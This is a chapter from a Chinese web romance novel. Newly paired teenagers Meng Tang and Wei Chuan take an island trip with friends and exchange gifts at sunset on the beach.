“魏川,放我下来。”孟棠瞥了眼厨房的方向,生怕被方姐看到。 “抱歉,”魏川将她放下,“太激动了。” 孟棠还想说什么,余光瞥到一抹衣角,她一把将人推开,提高音量:“那就明天见吧。” 魏川回眸,看到了孟遇春。 他看着孟棠,突然捏了把她的手,甜腻腻地说了句:“明天见。” 孟棠红了脸颊,将手从他手中抽出,说:“我送你出去。” 出了门,避嫌似的,孟棠离他很远,看得孟遇春直皱眉,视线在他俩之间来回转悠。 “你俩密谋什么呢?” “没有啊。”孟棠推着魏川出门,“我送他出门。” 孟遇春见他俩走远,十分无语地说了句:“他车在后面。” 魏川已经晕头转向了,他跟着孟棠出了大门,转头问孟棠:“你刚才怎么不让我跟爷爷说话?” “……” 之前不还喊老头的吗? “我怕你俩又杠上。” “那不能,我以后得喊他爷爷。” “快走吧。” 孟棠又推了他一把,生怕被发现。 魏川依依不舍,一步三回头地走了,走到一半才想起来自己的车还在后院的门外,又绕了一大圈。 回去他就抱着手机和孟棠甜言蜜语,不过刚开始,他也不敢造次,是孟棠能接受的范围内。 他又跟段思齐他们说了去梦洲岛的事情,费用他包,群里欢呼雀跃,十分有队形地高呼“吾皇万岁”。 魏川哼笑,明天闪瞎你们这群单身狗的眼睛。 几乎一夜没睡的魏川,第二天起床依旧精神满满。 阿姨昨晚给他收拾好了行李,他拎着包,带着卡直接去了孟棠家里。 孟棠带了个小箱子,他一把拎起来放到了后备箱,连着自己的行李包。 结果孟棠让他坐前面,说后面给梁菲菲坐,现在要去接她。 车是魏川包下来的两辆商务车,位置很多,魏川说:“我坐你们后面。” “那我和菲菲坐后面吧,后面比前面挤一点,你太高了。” 我靠,真贴心,魏川美滋滋地应下。 接到梁菲菲,他们又把段思齐等人一块捎上了。 并不是所有的队员都去了,这次最令魏川意外的是段思齐也跟着一道去了,他还以为他会继续找兼职。 估计是被陈瑞劝说的。 一碰到面,队里那群人拍魏川马屁,说什么一辈子跟着魏川混了。 “滚吧。”魏川笑道,“赶紧上车啊,还能赶上午饭。” “走走走。” 一群人爬上了车,孟棠和梁菲菲坐到了商务车的最后面,两人说话比较小声,魏川听不到。 他偏着头,一直保持一个方向,陈瑞开玩笑:“你落枕了?” “没有。”魏川决定不再理会他。 四个小时左右,他们抵达了目的地,酒店已经订好了,包括孟棠和梁菲菲的,都是最好的房间。 因为昨晚他得知是梁菲菲订的房,发信息让她退掉了,刚才在车上,梁菲菲将A的钱给了孟棠。 去到房间,梁菲菲被海景房震惊,转头跟收拾行李的孟棠说: “我这辈子认识的最有钱的人估计就是魏川了。” 孟棠失笑,没说什么。 “你说他突然跟过来,是不是有什么目的啊?” 孟棠抬眸:“目的?” “啊。”梁菲菲笑了下,“比如你啊。” 孟棠笑了下:“那我跟你说件事吧。” “你说。” “他昨天告白了。” “我靠。”梁菲菲冲到孟棠面前,“你是不是同意了?” 孟棠点了点头。 “我还以为你会犹豫呢。”梁菲菲觉得不可思议,“你怎么就答应了?” “谈恋爱嘛,就找帅一点的也没错吧。” “这话在理。”梁菲菲无法反驳。 而另一边的魏川也同样惊掉了队友的下巴。 “我靠,你这脱单速度也太快了吧?”宋冕跌破了眼镜,“我想怎么着也得拉扯一下吧?” “也不快吧。”陈瑞说,“你们川哥不是很早就对人家有心思了,只不过因为比赛和高考延后了。” “嗯。”魏川点了点头,“我要是不快点,孟棠这么好的女生,进了大学还有我什么事?” “说的也是。”段思齐点了点头,“确实挺优秀的。” 魏川得意扬眉:“那是。” “走走走,吃饭去。”钱逊推了一把宋冕,“省得待会儿被狗粮塞饱。” 吃饭有专属的餐厅,两拨人都知道他俩谈恋爱了,你推我我推你,将他俩推到了一起。 你还别说,这么一看是挺配的,简直赏心悦目。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!魏川在桌下戳了下孟棠的手背,偷偷摸摸的实在刺激,孟棠将手放到了桌上。 因为魏川视线警告过,队友们也不敢起哄。 而且孟棠看着疏离感蛮强的,他们也不敢。 下午休息了片刻,孟棠和梁菲菲去了海边。 魏川看到她俩出门,没有跟上去,段思齐看到,抵了抵他:“不去啊?” “人家跟朋友讲话呢,我待会儿再去。” 那会儿日落,气氛都比较合适。 孟棠和梁菲菲聊了许久,直至天边晕染开一片粉紫,因为魏川过来了。 梁菲菲起身,笑道:“行了,这么美的景色,给你俩谈恋爱吧。” 孟棠笑了笑,坐在沙滩边没动。 魏川走过去,在她身边坐下。 “你手里拿了什么?”孟棠看了他一眼。 “你看到了?”魏川顺势将盒子拿出来,“我很早准备的告白礼物。” 孟棠结果,打开一看是一条十分精致的手链。 他这手链跟十元店的可不一样。 孟棠看着他,虽然没明说,但魏川看懂了她的意思,太贵重了。 魏川接过手链,替她缓缓地戴上,说:“我的心意比这点钱更贵重。” 孟棠一时哑然。 她打开随身带着的包,从里面掏出一个木盒子递给了魏川。 “我也有?”魏川惊讶地看着她。 孟棠点点头:“打开吧。” 魏川打开,里面静静躺着一个木蝉,蝉翼通透,技艺高超。 “我很喜欢。”魏川说,“但我能不能问一个问题?” “你问。” “这个是什么意思?” 孟棠笑了笑:“以后再跟你说吧,现在先看日落?” “行。” 魏川将东西收了起来。 霞光倒映着海面连成一片,魏川一点一点往孟棠的身边挪了挪,直至并肩。 然后,他又一点一点靠近孟棠的手,先是勾到了小拇指,见她没有反抗,才大着胆子握住了。 孟棠偏头看他,眼睛里倒映着余晖,还有一个他。 余晖未尽,爱意明目张胆又热烈地燃烧着…… 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。